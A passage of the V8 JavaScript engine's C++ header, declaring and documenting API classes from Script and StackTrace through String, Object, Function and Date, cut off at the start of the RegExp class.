  static Local<Script> New(Handle<String> source,
                           Handle<Value> file_name);

  /**
   * Compiles the specified script (bound to current context).
   *
   * \param source Script source code.
   * \param origin Script origin, owned by caller, no references are kept
   *   when Compile() returns
   * \param pre_data Pre-parsing data, as obtained by ScriptData::PreCompile()
   *   using pre_data speeds compilation if it's done multiple times.
   *   Owned by caller, no references are kept when Compile() returns.
   * \param script_data Arbitrary data associated with script. Using
   *   this has same effect as calling SetData(), but makes data available
   *   earlier (i.e. to compile event handlers).
   * \return Compiled script object, bound to the context that was active
   *   when this function was called.  When run it will always use this
   *   context.
   */
  static Local<Script> Compile(Handle<String> source,
                               ScriptOrigin* origin = NULL,
                               ScriptData* pre_data = NULL,
                               Handle<String> script_data = Handle<String>());

  /**
   * Compiles the specified script using the specified file name
   * object (typically a string) as the script's origin.
   *
   * \param source Script source code.
   * \param file_name File name to use as script's origin
   * \param script_data Arbitrary data associated with script. Using
   *   this has same effect as calling SetData(), but makes data available
   *   earlier (i.e. to compile event handlers).
   * \return Compiled script object, bound to the context that was active
   *   when this function was called.  When run it will always use this
   *   context.
   */
  static Local<Script> Compile(Handle<String> source,
                               Handle<Value> file_name,
                               Handle<String> script_data = Handle<String>());

  /**
   * Runs the script returning the resulting value.  If the script is
   * context independent (created using ::New) it will be run in the
   * currently entered context.  If it is context specific (created
   * using ::Compile) it will be run in the context in which it was
   * compiled.
   */
  Local<Value> Run();

  /**
   * Returns the script id value.
   */
  Local<Value> Id();

  /**
   * Associate an additional data object with the script. This is mainly used
   * with the debugger as this data object is only available through the
   * debugger API.
   */
  void SetData(Handle<String> data);
};


/**
 * An error message.
 */
class V8EXPORT Message {
 public:
  Local<String> Get() const;
  Local<String> GetSourceLine() const;

  /**
   * Returns the resource name for the script from where the function causing
   * the error originates.
   */
  Handle<Value> GetScriptResourceName() const;

  /**
   * Returns the resource data for the script from where the function causing
   * the error originates.
   */
  Handle<Value> GetScriptData() const;

  /**
   * Exception stack trace. By default stack traces are not captured for
   * uncaught exceptions. SetCaptureStackTraceForUncaughtExceptions allows
   * to change this option.
   */
  Handle<StackTrace> GetStackTrace() const;

  /**
   * Returns the number, 1-based, of the line where the error occurred.
   */
  int GetLineNumber() const;

  /**
   * Returns the index within the script of the first character where
   * the error occurred.
   */
  int GetStartPosition() const;

  /**
   * Returns the index within the script of the last character where
   * the error occurred.
   */
  int GetEndPosition() const;

  /**
   * Returns the index within the line of the first character where
   * the error occurred.
   */
  int GetStartColumn() const;

  /**
   * Returns the index within the line of the last character where
   * the error occurred.
   */
  int GetEndColumn() const;

  // TODO(1245381): Print to a string instead of on a FILE.
  static void PrintCurrentStackTrace(FILE* out);

  static const int kNoLineNumberInfo = 0;
  static const int kNoColumnInfo = 0;
};


/**
 * Representation of a JavaScript stack trace. The information collected is a
 * snapshot of the execution stack and the information remains valid after
 * execution continues.
 */
class V8EXPORT StackTrace {
 public:
  /**
   * Flags that determine what information is placed captured for each
   * StackFrame when grabbing the current stack trace.
   */
  enum StackTraceOptions {
    kLineNumber = 1,
    kColumnOffset = 1 << 1 | kLineNumber,
    kScriptName = 1 << 2,
    kFunctionName = 1 << 3,
    kIsEval = 1 << 4,
    kIsConstructor = 1 << 5,
    kScriptNameOrSourceURL = 1 << 6,
    kOverview = kLineNumber | kColumnOffset | kScriptName | kFunctionName,
    kDetailed = kOverview | kIsEval | kIsConstructor | kScriptNameOrSourceURL
  };

  /**
   * Returns a StackFrame at a particular index.
   */
  Local<StackFrame> GetFrame(uint32_t index) const;

  /**
   * Returns the number of StackFrames.
   */
  int GetFrameCount() const;

  /**
   * Returns StackTrace as a v8::Array that contains StackFrame objects.
   */
  Local<Array> AsArray();

  /**
   * Grab a snapshot of the current JavaScript execution stack.
   *
   * \param frame_limit The maximum number of stack frames we want to capture.
   * \param options Enumerates the set of things we will capture for each
   *   StackFrame.
   */
  static Local<StackTrace> CurrentStackTrace(
      int frame_limit,
      StackTraceOptions options = kOverview);
};


/**
 * A single JavaScript stack frame.
 */
class V8EXPORT StackFrame {
 public:
  /**
   * Returns the number, 1-based, of the line for the associate function call.
   * This method will return Message::kNoLineNumberInfo if it is unable to
   * retrieve the line number, or if kLineNumber was not passed as an option
   * when capturing the StackTrace.
   */
  int GetLineNumber() const;

  /**
   * Returns the 1-based column offset on the line for the associated function
   * call.
   * This method will return Message::kNoColumnInfo if it is unable to retrieve
   * the column number, or if kColumnOffset was not passed as an option when
   * capturing the StackTrace.
   */
  int GetColumn() const;

  /**
   * Returns the name of the resource that contains the script for the
   * function for this StackFrame.
   */
  Local<String> GetScriptName() const;

  /**
   * Returns the name of the resource that contains the script for the
   * function for this StackFrame or sourceURL value if the script name
   * is undefined and its source ends with //@ sourceURL=... string.
   */
  Local<String> GetScriptNameOrSourceURL() const;

  /**
   * Returns the name of the function associated with this stack frame.
   */
  Local<String> GetFunctionName() const;

  /**
   * Returns whether or not the associated function is compiled via a call to
   * eval().
   */
  bool IsEval() const;

  /**
   * Returns whether or not the associated function is called as a
   * constructor via "new".
   */
  bool IsConstructor() const;
};


// --- Value ---


/**
 * The superclass of all JavaScript values and objects.
 */
class Value : public Data {
 public:
  /**
   * Returns true if this value is the undefined value.  See ECMA-262
   * 4.3.10.
   */
  inline bool IsUndefined() const;

  /**
   * Returns true if this value is the null value.  See ECMA-262
   * 4.3.11.
   */
  inline bool IsNull() const;

   /**
   * Returns true if this value is true.
   */
  V8EXPORT bool IsTrue() const;

  /**
   * Returns true if this value is false.
   */
  V8EXPORT bool IsFalse() const;

  /**
   * Returns true if this value is an instance of the String type.
   * See ECMA-262 8.4.
   */
  inline bool IsString() const;

  /**
   * Returns true if this value is a function.
   */
  V8EXPORT bool IsFunction() const;

  /**
   * Returns true if this value is an array.
   */
  V8EXPORT bool IsArray() const;

  /**
   * Returns true if this value is an object.
   */
  V8EXPORT bool IsObject() const;

  /**
   * Returns true if this value is boolean.
   */
  V8EXPORT bool IsBoolean() const;

  /**
   * Returns true if this value is a number.
   */
  V8EXPORT bool IsNumber() const;

  /**
   * Returns true if this value is external.
   */
  V8EXPORT bool IsExternal() const;

  /**
   * Returns true if this value is a 32-bit signed integer.
   */
  V8EXPORT bool IsInt32() const;

  /**
   * Returns true if this value is a 32-bit unsigned integer.
   */
  V8EXPORT bool IsUint32() const;

  /**
   * Returns true if this value is a Date.
   */
  V8EXPORT bool IsDate() const;

  /**
   * Returns true if this value is a Boolean object.
   */
  V8EXPORT bool IsBooleanObject() const;

  /**
   * Returns true if this value is a Number object.
   */
  V8EXPORT bool IsNumberObject() const;

  /**
   * Returns true if this value is a String object.
   */
  V8EXPORT bool IsStringObject() const;

  /**
   * Returns true if this value is a NativeError.
   */
  V8EXPORT bool IsNativeError() const;

  /**
   * Returns true if this value is a RegExp.
   */
  V8EXPORT bool IsRegExp() const;

  V8EXPORT Local<Boolean> ToBoolean() const;
  V8EXPORT Local<Number> ToNumber() const;
  V8EXPORT Local<String> ToString() const;
  V8EXPORT Local<String> ToDetailString() const;
  V8EXPORT Local<Object> ToObject() const;
  V8EXPORT Local<Integer> ToInteger() const;
  V8EXPORT Local<Uint32> ToUint32() const;
  V8EXPORT Local<Int32> ToInt32() const;

  /**
   * Attempts to convert a string to an array index.
   * Returns an empty handle if the conversion fails.
   */
  V8EXPORT Local<Uint32> ToArrayIndex() const;

  V8EXPORT bool BooleanValue() const;
  V8EXPORT double NumberValue() const;
  V8EXPORT int64_t IntegerValue() const;
  V8EXPORT uint32_t Uint32Value() const;
  V8EXPORT int32_t Int32Value() const;

  /** JS == */
  V8EXPORT bool Equals(Handle<Value> that) const;
  V8EXPORT bool StrictEquals(Handle<Value> that) const;

 private:
  inline bool QuickIsUndefined() const;
  inline bool QuickIsNull() const;
  inline bool QuickIsString() const;
  V8EXPORT bool FullIsUndefined() const;
  V8EXPORT bool FullIsNull() const;
  V8EXPORT bool FullIsString() const;
};


/**
 * The superclass of primitive values.  See ECMA-262 4.3.2.
 */
class Primitive : public Value { };


/**
 * A primitive boolean value (ECMA-262, 4.3.14).  Either the true
 * or false value.
 */
class Boolean : public Primitive {
 public:
  V8EXPORT bool Value() const;
  static inline Handle<Boolean> New(bool value);
};


/**
 * A JavaScript string value (ECMA-262, 4.3.17).
 */
class String : public Primitive {
 public:
  /**
   * Returns the number of characters in this string.
   */
  V8EXPORT int Length() const;

  /**
   * Returns the number of bytes in the UTF-8 encoded
   * representation of this string.
   */
  V8EXPORT int Utf8Length() const;

  /**
   * A fast conservative check for non-ASCII characters.  May
   * return true even for ASCII strings, but if it returns
   * false you can be sure that all characters are in the range
   * 0-127.
   */
  V8EXPORT bool MayContainNonAscii() const;

  /**
   * Write the contents of the string to an external buffer.
   * If no arguments are given, expects the buffer to be large
   * enough to hold the entire string and NULL terminator. Copies
   * the contents of the string and the NULL terminator into the
   * buffer.
   *
   * WriteUtf8 will not write partial UTF-8 sequences, preferring to stop
   * before the end of the buffer.
   *
   * Copies up to length characters into the output buffer.
   * Only null-terminates if there is enough space in the buffer.
   *
   * \param buffer The buffer into which the string will be copied.
   * \param start The starting position within the string at which
   * copying begins.
   * \param length The number of characters to copy from the string.  For
   *    WriteUtf8 the number of bytes in the buffer.
   * \param nchars_ref The number of characters written, can be NULL.
   * \param options Various options that might affect performance of this or
   *    subsequent operations.
   * \return The number of characters copied to the buffer excluding the null
   *    terminator.  For WriteUtf8: The number of bytes copied to the buffer
   *    including the null terminator (if written).
   */
  enum WriteOptions {
    NO_OPTIONS = 0,
    HINT_MANY_WRITES_EXPECTED = 1,
    NO_NULL_TERMINATION = 2
  };

  // 16-bit character codes.
  V8EXPORT int Write(uint16_t* buffer,
                     int start = 0,
                     int length = -1,
                     int options = NO_OPTIONS) const;
  // ASCII characters.
  V8EXPORT int WriteAscii(char* buffer,
                          int start = 0,
                          int length = -1,
                          int options = NO_OPTIONS) const;
  // UTF-8 encoded characters.
  V8EXPORT int WriteUtf8(char* buffer,
                         int length = -1,
                         int* nchars_ref = NULL,
                         int options = NO_OPTIONS) const;

  /**
   * A zero length string.
   */
  V8EXPORT static v8::Local<v8::String> Empty();
  inline static v8::Local<v8::String> Empty(Isolate* isolate);

  /**
   * Returns true if the string is external
   */
  V8EXPORT bool IsExternal() const;

  /**
   * Returns true if the string is both external and ASCII
   */
  V8EXPORT bool IsExternalAscii() const;

  class V8EXPORT ExternalStringResourceBase {  // NOLINT
   public:
    virtual ~ExternalStringResourceBase() {}

   protected:
    ExternalStringResourceBase() {}

    /**
     * Internally V8 will call this Dispose method when the external string
     * resource is no longer needed. The default implementation will use the
     * delete operator. This method can be overridden in subclasses to
     * control how allocated external string resources are disposed.
     */
    virtual void Dispose() { delete this; }

   private:
    // Disallow copying and assigning.
    ExternalStringResourceBase(const ExternalStringResourceBase&);
    void operator=(const ExternalStringResourceBase&);

    friend class v8::internal::Heap;
  };

  /**
   * An ExternalStringResource is a wrapper around a two-byte string
   * buffer that resides outside V8's heap. Implement an
   * ExternalStringResource to manage the life cycle of the underlying
   * buffer.  Note that the string data must be immutable.
   */
  class V8EXPORT ExternalStringResource
      : public ExternalStringResourceBase {
   public:
    /**
     * Override the destructor to manage the life cycle of the underlying
     * buffer.
     */
    virtual ~ExternalStringResource() {}

    /**
     * The string data from the underlying buffer.
     */
    virtual const uint16_t* data() const = 0;

    /**
     * The length of the string. That is, the number of two-byte characters.
     */
    virtual size_t length() const = 0;

   protected:
    ExternalStringResource() {}
  };

  /**
   * An ExternalAsciiStringResource is a wrapper around an ASCII
   * string buffer that resides outside V8's heap. Implement an
   * ExternalAsciiStringResource to manage the life cycle of the
   * underlying buffer.  Note that the string data must be immutable
   * and that the data must be strict (7-bit) ASCII, not Latin-1 or
   * UTF-8, which would require special treatment internally in the
   * engine and, in the case of UTF-8, do not allow efficient indexing.
   * Use String::New or convert to 16 bit data for non-ASCII.
   */

  class V8EXPORT ExternalAsciiStringResource
      : public ExternalStringResourceBase {
   public:
    /**
     * Override the destructor to manage the life cycle of the underlying
     * buffer.
     */
    virtual ~ExternalAsciiStringResource() {}
    /** The string data from the underlying buffer.*/
    virtual const char* data() const = 0;
    /** The number of ASCII characters in the string.*/
    virtual size_t length() const = 0;
   protected:
    ExternalAsciiStringResource() {}
  };

  /**
   * Get the ExternalStringResource for an external string.  Returns
   * NULL if IsExternal() doesn't return true.
   */
  inline ExternalStringResource* GetExternalStringResource() const;

  /**
   * Get the ExternalAsciiStringResource for an external ASCII string.
   * Returns NULL if IsExternalAscii() doesn't return true.
   */
  V8EXPORT const ExternalAsciiStringResource* GetExternalAsciiStringResource()
      const;

  static inline String* Cast(v8::Value* obj);

  /**
   * Allocates a new string from either UTF-8 encoded or ASCII data.
   * The second parameter 'length' gives the buffer length.
   * If the data is UTF-8 encoded, the caller must
   * be careful to supply the length parameter.
   * If it is not given, the function calls
   * 'strlen' to determine the buffer length, it might be
   * wrong if 'data' contains a null character.
   */
  V8EXPORT static Local<String> New(const char* data, int length = -1);

  /** Allocates a new string from 16-bit character codes.*/
  V8EXPORT static Local<String> New(const uint16_t* data, int length = -1);

  /** Creates a symbol. Returns one if it exists already.*/
  V8EXPORT static Local<String> NewSymbol(const char* data, int length = -1);

  /**
   * Creates a new string by concatenating the left and the right strings
   * passed in as parameters.
   */
  V8EXPORT static Local<String> Concat(Handle<String> left,
                                       Handle<String> right);

  /**
   * Creates a new external string using the data defined in the given
   * resource. When the external string is no longer live on V8's heap the
   * resource will be disposed by calling its Dispose method. The caller of
   * this function should not otherwise delete or modify the resource. Neither
   * should the underlying buffer be deallocated or modified except through the
   * destructor of the external string resource.
   */
  V8EXPORT static Local<String> NewExternal(ExternalStringResource* resource);

  /**
   * Associate an external string resource with this string by transforming it
   * in place so that existing references to this string in the JavaScript heap
   * will use the external string resource. The external string resource's
   * character contents need to be equivalent to this string.
   * Returns true if the string has been changed to be an external string.
   * The string is not modified if the operation fails. See NewExternal for
   * information on the lifetime of the resource.
   */
  V8EXPORT bool MakeExternal(ExternalStringResource* resource);

  /**
   * Creates a new external string using the ASCII data defined in the given
   * resource. When the external string is no longer live on V8's heap the
   * resource will be disposed by calling its Dispose method. The caller of
   * this function should not otherwise delete or modify the resource. Neither
   * should the underlying buffer be deallocated or modified except through the
   * destructor of the external string resource.
   */ V8EXPORT static Local<String> NewExternal(
      ExternalAsciiStringResource* resource);

  /**
   * Associate an external string resource with this string by transforming it
   * in place so that existing references to this string in the JavaScript heap
   * will use the external string resource. The external string resource's
   * character contents need to be equivalent to this string.
   * Returns true if the string has been changed to be an external string.
   * The string is not modified if the operation fails. See NewExternal for
   * information on the lifetime of the resource.
   */
  V8EXPORT bool MakeExternal(ExternalAsciiStringResource* resource);

  /**
   * Returns true if this string can be made external.
   */
  V8EXPORT bool CanMakeExternal();

  /** Creates an undetectable string from the supplied ASCII or UTF-8 data.*/
  V8EXPORT static Local<String> NewUndetectable(const char* data,
                                                int length = -1);

  /** Creates an undetectable string from the supplied 16-bit character codes.*/
  V8EXPORT static Local<String> NewUndetectable(const uint16_t* data,
                                                int length = -1);

  /**
   * Converts an object to a UTF-8-encoded character array.  Useful if
   * you want to print the object.  If conversion to a string fails
   * (e.g. due to an exception in the toString() method of the object)
   * then the length() method returns 0 and the * operator returns
   * NULL.
   */
  class V8EXPORT Utf8Value {
   public:
    explicit Utf8Value(Handle<v8::Value> obj);
    ~Utf8Value();
    char* operator*() { return str_; }
    const char* operator*() const { return str_; }
    int length() const { return length_; }
   private:
    char* str_;
    int length_;

    // Disallow copying and assigning.
    Utf8Value(const Utf8Value&);
    void operator=(const Utf8Value&);
  };

  /**
   * Converts an object to an ASCII string.
   * Useful if you want to print the object.
   * If conversion to a string fails (eg. due to an exception in the toString()
   * method of the object) then the length() method returns 0 and the * operator
   * returns NULL.
   */
  class V8EXPORT AsciiValue {
   public:
    explicit AsciiValue(Handle<v8::Value> obj);
    ~AsciiValue();
    char* operator*() { return str_; }
    const char* operator*() const { return str_; }
    int length() const { return length_; }
   private:
    char* str_;
    int length_;

    // Disallow copying and assigning.
    AsciiValue(const AsciiValue&);
    void operator=(const AsciiValue&);
  };

  /**
   * Converts an object to a two-byte string.
   * If conversion to a string fails (eg. due to an exception in the toString()
   * method of the object) then the length() method returns 0 and the * operator
   * returns NULL.
   */
  class V8EXPORT Value {
   public:
    explicit Value(Handle<v8::Value> obj);
    ~Value();
    uint16_t* operator*() { return str_; }
    const uint16_t* operator*() const { return str_; }
    int length() const { return length_; }
   private:
    uint16_t* str_;
    int length_;

    // Disallow copying and assigning.
    Value(const Value&);
    void operator=(const Value&);
  };

 private:
  V8EXPORT void VerifyExternalStringResource(ExternalStringResource* val) const;
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A JavaScript number value (ECMA-262, 4.3.20)
 */
class Number : public Primitive {
 public:
  V8EXPORT double Value() const;
  V8EXPORT static Local<Number> New(double value);
  static inline Number* Cast(v8::Value* obj);
 private:
  V8EXPORT Number();
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A JavaScript value representing a signed integer.
 */
class Integer : public Number {
 public:
  V8EXPORT static Local<Integer> New(int32_t value);
  V8EXPORT static Local<Integer> NewFromUnsigned(uint32_t value);
  V8EXPORT int64_t Value() const;
  static inline Integer* Cast(v8::Value* obj);
 private:
  V8EXPORT Integer();
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A JavaScript value representing a 32-bit signed integer.
 */
class Int32 : public Integer {
 public:
  V8EXPORT int32_t Value() const;
 private:
  V8EXPORT Int32();
};


/**
 * A JavaScript value representing a 32-bit unsigned integer.
 */
class Uint32 : public Integer {
 public:
  V8EXPORT uint32_t Value() const;
 private:
  V8EXPORT Uint32();
};


enum PropertyAttribute {
  None       = 0,
  ReadOnly   = 1 << 0,
  DontEnum   = 1 << 1,
  DontDelete = 1 << 2
};

enum ExternalArrayType {
  kExternalByteArray = 1,
  kExternalUnsignedByteArray,
  kExternalShortArray,
  kExternalUnsignedShortArray,
  kExternalIntArray,
  kExternalUnsignedIntArray,
  kExternalFloatArray,
  kExternalDoubleArray,
  kExternalPixelArray
};

/**
 * Accessor[Getter|Setter] are used as callback functions when
 * setting|getting a particular property. See Object and ObjectTemplate's
 * method SetAccessor.
 */
typedef Handle<Value> (*AccessorGetter)(Local<String> property,
                                        const AccessorInfo& info);


typedef void (*AccessorSetter)(Local<String> property,
                               Local<Value> value,
                               const AccessorInfo& info);


/**
 * Access control specifications.
 *
 * Some accessors should be accessible across contexts.  These
 * accessors have an explicit access control parameter which specifies
 * the kind of cross-context access that should be allowed.
 *
 * Additionally, for security, accessors can prohibit overwriting by
 * accessors defined in JavaScript.  For objects that have such
 * accessors either locally or in their prototype chain it is not
 * possible to overwrite the accessor by using __defineGetter__ or
 * __defineSetter__ from JavaScript code.
 */
enum AccessControl {
  DEFAULT               = 0,
  ALL_CAN_READ          = 1,
  ALL_CAN_WRITE         = 1 << 1,
  PROHIBITS_OVERWRITING = 1 << 2
};


/**
 * A JavaScript object (ECMA-262, 4.3.3)
 */
class Object : public Value {
 public:
  V8EXPORT bool Set(Handle<Value> key,
                    Handle<Value> value,
                    PropertyAttribute attribs = None);

  V8EXPORT bool Set(uint32_t index,
                    Handle<Value> value);

  // Sets a local property on this object bypassing interceptors and
  // overriding accessors or read-only properties.
  //
  // Note that if the object has an interceptor the property will be set
  // locally, but since the interceptor takes precedence the local property
  // will only be returned if the interceptor doesn't return a value.
  //
  // Note also that this only works for named properties.
  V8EXPORT bool ForceSet(Handle<Value> key,
                         Handle<Value> value,
                         PropertyAttribute attribs = None);

  V8EXPORT Local<Value> Get(Handle<Value> key);

  V8EXPORT Local<Value> Get(uint32_t index);

  /**
   * Gets the property attributes of a property which can be None or
   * any combination of ReadOnly, DontEnum and DontDelete. Returns
   * None when the property doesn't exist.
   */
  V8EXPORT PropertyAttribute GetPropertyAttributes(Handle<Value> key);

  // TODO(1245389): Replace the type-specific versions of these
  // functions with generic ones that accept a Handle<Value> key.
  V8EXPORT bool Has(Handle<String> key);

  V8EXPORT bool Delete(Handle<String> key);

  // Delete a property on this object bypassing interceptors and
  // ignoring dont-delete attributes.
  V8EXPORT bool ForceDelete(Handle<Value> key);

  V8EXPORT bool Has(uint32_t index);

  V8EXPORT bool Delete(uint32_t index);

  V8EXPORT bool SetAccessor(Handle<String> name,
                            AccessorGetter getter,
                            AccessorSetter setter = 0,
                            Handle<Value> data = Handle<Value>(),
                            AccessControl settings = DEFAULT,
                            PropertyAttribute attribute = None);

  /**
   * Returns an array containing the names of the enumerable properties
   * of this object, including properties from prototype objects.  The
   * array returned by this method contains the same values as would
   * be enumerated by a for-in statement over this object.
   */
  V8EXPORT Local<Array> GetPropertyNames();

  /**
   * This function has the same functionality as GetPropertyNames but
   * the returned array doesn't contain the names of properties from
   * prototype objects.
   */
  V8EXPORT Local<Array> GetOwnPropertyNames();

  /**
   * Get the prototype object.  This does not skip objects marked to
   * be skipped by __proto__ and it does not consult the security
   * handler.
   */
  V8EXPORT Local<Value> GetPrototype();

  /**
   * Set the prototype object.  This does not skip objects marked to
   * be skipped by __proto__ and it does not consult the security
   * handler.
   */
  V8EXPORT bool SetPrototype(Handle<Value> prototype);

  /**
   * Finds an instance of the given function template in the prototype
   * chain.
   */
  V8EXPORT Local<Object> FindInstanceInPrototypeChain(
      Handle<FunctionTemplate> tmpl);

  /**
   * Call builtin Object.prototype.toString on this object.
   * This is different from Value::ToString() that may call
   * user-defined toString function. This one does not.
   */
  V8EXPORT Local<String> ObjectProtoToString();

  /**
   * Returns the function invoked as a constructor for this object.
   * May be the null value.
   */
  V8EXPORT Local<Value> GetConstructor();

  /**
   * Returns the name of the function invoked as a constructor for this object.
   */
  V8EXPORT Local<String> GetConstructorName();

  /** Gets the number of internal fields for this Object. */
  V8EXPORT int InternalFieldCount();
  /** Gets the value in an internal field. */
  inline Local<Value> GetInternalField(int index);
  /** Sets the value in an internal field. */
  V8EXPORT void SetInternalField(int index, Handle<Value> value);

  /** Gets a native pointer from an internal field. */
  inline void* GetPointerFromInternalField(int index);

  /** Sets a native pointer in an internal field. */
  V8EXPORT void SetPointerInInternalField(int index, void* value);

  // Testers for local properties.
  V8EXPORT bool HasOwnProperty(Handle<String> key);
  V8EXPORT bool HasRealNamedProperty(Handle<String> key);
  V8EXPORT bool HasRealIndexedProperty(uint32_t index);
  V8EXPORT bool HasRealNamedCallbackProperty(Handle<String> key);

  /**
   * If result.IsEmpty() no real property was located in the prototype chain.
   * This means interceptors in the prototype chain are not called.
   */
  V8EXPORT Local<Value> GetRealNamedPropertyInPrototypeChain(
      Handle<String> key);

  /**
   * If result.IsEmpty() no real property was located on the object or
   * in the prototype chain.
   * This means interceptors in the prototype chain are not called.
   */
  V8EXPORT Local<Value> GetRealNamedProperty(Handle<String> key);

  /** Tests for a named lookup interceptor.*/
  V8EXPORT bool HasNamedLookupInterceptor();

  /** Tests for an index lookup interceptor.*/
  V8EXPORT bool HasIndexedLookupInterceptor();

  /**
   * Turns on access check on the object if the object is an instance of
   * a template that has access check callbacks. If an object has no
   * access check info, the object cannot be accessed by anyone.
   */
  V8EXPORT void TurnOnAccessCheck();

  /**
   * Returns the identity hash for this object. The current implementation
   * uses a hidden property on the object to store the identity hash.
   *
   * The return value will never be 0. Also, it is not guaranteed to be
   * unique.
   */
  V8EXPORT int GetIdentityHash();

  /**
   * Access hidden properties on JavaScript objects. These properties are
   * hidden from the executing JavaScript and only accessible through the V8
   * C++ API. Hidden properties introduced by V8 internally (for example the
   * identity hash) are prefixed with "v8::".
   */
  V8EXPORT bool SetHiddenValue(Handle<String> key, Handle<Value> value);
  V8EXPORT Local<Value> GetHiddenValue(Handle<String> key);
  V8EXPORT bool DeleteHiddenValue(Handle<String> key);

  /**
   * Returns true if this is an instance of an api function (one
   * created from a function created from a function template) and has
   * been modified since it was created.  Note that this method is
   * conservative and may return true for objects that haven't actually
   * been modified.
   */
  V8EXPORT bool IsDirty();

  /**
   * Clone this object with a fast but shallow copy.  Values will point
   * to the same values as the original object.
   */
  V8EXPORT Local<Object> Clone();

  /**
   * Returns the context in which the object was created.
   */
  V8EXPORT Local<Context> CreationContext();

  /**
   * Set the backing store of the indexed properties to be managed by the
   * embedding layer. Access to the indexed properties will follow the rules
   * spelled out in CanvasPixelArray.
   * Note: The embedding program still owns the data and needs to ensure that
   *       the backing store is preserved while V8 has a reference.
   */
  V8EXPORT void SetIndexedPropertiesToPixelData(uint8_t* data, int length);
  V8EXPORT bool HasIndexedPropertiesInPixelData();
  V8EXPORT uint8_t* GetIndexedPropertiesPixelData();
  V8EXPORT int GetIndexedPropertiesPixelDataLength();

  /**
   * Set the backing store of the indexed properties to be managed by the
   * embedding layer. Access to the indexed properties will follow the rules
   * spelled out for the CanvasArray subtypes in the WebGL specification.
   * Note: The embedding program still owns the data and needs to ensure that
   *       the backing store is preserved while V8 has a reference.
   */
  V8EXPORT void SetIndexedPropertiesToExternalArrayData(
      void* data,
      ExternalArrayType array_type,
      int number_of_elements);
  V8EXPORT bool HasIndexedPropertiesInExternalArrayData();
  V8EXPORT void* GetIndexedPropertiesExternalArrayData();
  V8EXPORT ExternalArrayType GetIndexedPropertiesExternalArrayDataType();
  V8EXPORT int GetIndexedPropertiesExternalArrayDataLength();

  /**
   * Checks whether a callback is set by the
   * ObjectTemplate::SetCallAsFunctionHandler method.
   * When an Object is callable this method returns true.
   */
  V8EXPORT bool IsCallable();

  /**
   * Call an Object as a function if a callback is set by the
   * ObjectTemplate::SetCallAsFunctionHandler method.
   */
  V8EXPORT Local<Value> CallAsFunction(Handle<Object> recv,
                                       int argc,
                                       Handle<Value> argv[]);

  /**
   * Call an Object as a constructor if a callback is set by the
   * ObjectTemplate::SetCallAsFunctionHandler method.
   * Note: This method behaves like the Function::NewInstance method.
   */
  V8EXPORT Local<Value> CallAsConstructor(int argc,
                                          Handle<Value> argv[]);

  V8EXPORT static Local<Object> New();
  static inline Object* Cast(Value* obj);

 private:
  V8EXPORT Object();
  V8EXPORT static void CheckCast(Value* obj);
  V8EXPORT Local<Value> CheckedGetInternalField(int index);
  V8EXPORT void* SlowGetPointerFromInternalField(int index);

  /**
   * If quick access to the internal field is possible this method
   * returns the value.  Otherwise an empty handle is returned.
   */
  inline Local<Value> UncheckedGetInternalField(int index);
};


/**
 * An instance of the built-in array constructor (ECMA-262, 15.4.2).
 */
class Array : public Object {
 public:
  V8EXPORT uint32_t Length() const;

  /**
   * Clones an element at index |index|.  Returns an empty
   * handle if cloning fails (for any reason).
   */
  V8EXPORT Local<Object> CloneElementAt(uint32_t index);

  /**
   * Creates a JavaScript array with the given length. If the length
   * is negative the returned array will have length 0.
   */
  V8EXPORT static Local<Array> New(int length = 0);

  static inline Array* Cast(Value* obj);
 private:
  V8EXPORT Array();
  V8EXPORT static void CheckCast(Value* obj);
};


/**
 * A JavaScript function object (ECMA-262, 15.3).
 */
class Function : public Object {
 public:
  V8EXPORT Local<Object> NewInstance() const;
  V8EXPORT Local<Object> NewInstance(int argc, Handle<Value> argv[]) const;
  V8EXPORT Local<Value> Call(Handle<Object> recv,
                             int argc,
                             Handle<Value> argv[]);
  V8EXPORT void SetName(Handle<String> name);
  V8EXPORT Handle<Value> GetName() const;

  /**
   * Name inferred from variable or property assignment of this function.
   * Used to facilitate debugging and profiling of JavaScript code written
   * in an OO style, where many functions are anonymous but are assigned
   * to object properties.
   */
  V8EXPORT Handle<Value> GetInferredName() const;

  /**
   * Returns zero based line number of function body and
   * kLineOffsetNotFound if no information available.
   */
  V8EXPORT int GetScriptLineNumber() const;
  /**
   * Returns zero based column number of function body and
   * kLineOffsetNotFound if no information available.
   */
  V8EXPORT int GetScriptColumnNumber() const;
  V8EXPORT Handle<Value> GetScriptId() const;
  V8EXPORT ScriptOrigin GetScriptOrigin() const;
  static inline Function* Cast(Value* obj);
  V8EXPORT static const int kLineOffsetNotFound;

 private:
  V8EXPORT Function();
  V8EXPORT static void CheckCast(Value* obj);
};


/**
 * An instance of the built-in Date constructor (ECMA-262, 15.9).
 */
class Date : public Object {
 public:
  V8EXPORT static Local<Value> New(double time);

  /**
   * A specialization of Value::NumberValue that is more efficient
   * because we know the structure of this object.
   */
  V8EXPORT double NumberValue() const;

  static inline Date* Cast(v8::Value* obj);

  /**
   * Notification that the embedder has changed the time zone,
   * daylight savings time, or other date / time configuration
   * parameters.  V8 keeps a cache of various values used for
   * date / time computation.  This notification will reset
   * those cached values for the current context so that date /
   * time configuration changes would be reflected in the Date
   * object.
   *
   * This API should not be called more than needed as it will
   * negatively impact the performance of date operations.
   */
  V8EXPORT static void DateTimeConfigurationChangeNotification();

 private:
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A Number object (ECMA-262, 4.3.21).
 */
class NumberObject : public Object {
 public:
  V8EXPORT static Local<Value> New(double value);

  /**
   * Returns the Number held by the object.
   */
  V8EXPORT double NumberValue() const;

  static inline NumberObject* Cast(v8::Value* obj);

 private:
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A Boolean object (ECMA-262, 4.3.15).
 */
class BooleanObject : public Object {
 public:
  V8EXPORT static Local<Value> New(bool value);

  /**
   * Returns the Boolean held by the object.
   */
  V8EXPORT bool BooleanValue() const;

  static inline BooleanObject* Cast(v8::Value* obj);

 private:
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * A String object (ECMA-262, 4.3.18).
 */
class StringObject : public Object {
 public:
  V8EXPORT static Local<Value> New(Handle<String> value);

  /**
   * Returns the String held by the object.
   */
  V8EXPORT Local<String> StringValue() const;

  static inline StringObject* Cast(v8::Value* obj);

 private:
  V8EXPORT static void CheckCast(v8::Value* obj);
};


/**
 * An instance of the built-in RegExp constructor (ECMA-262, 15.10).
 */
class RegExp : public Object {
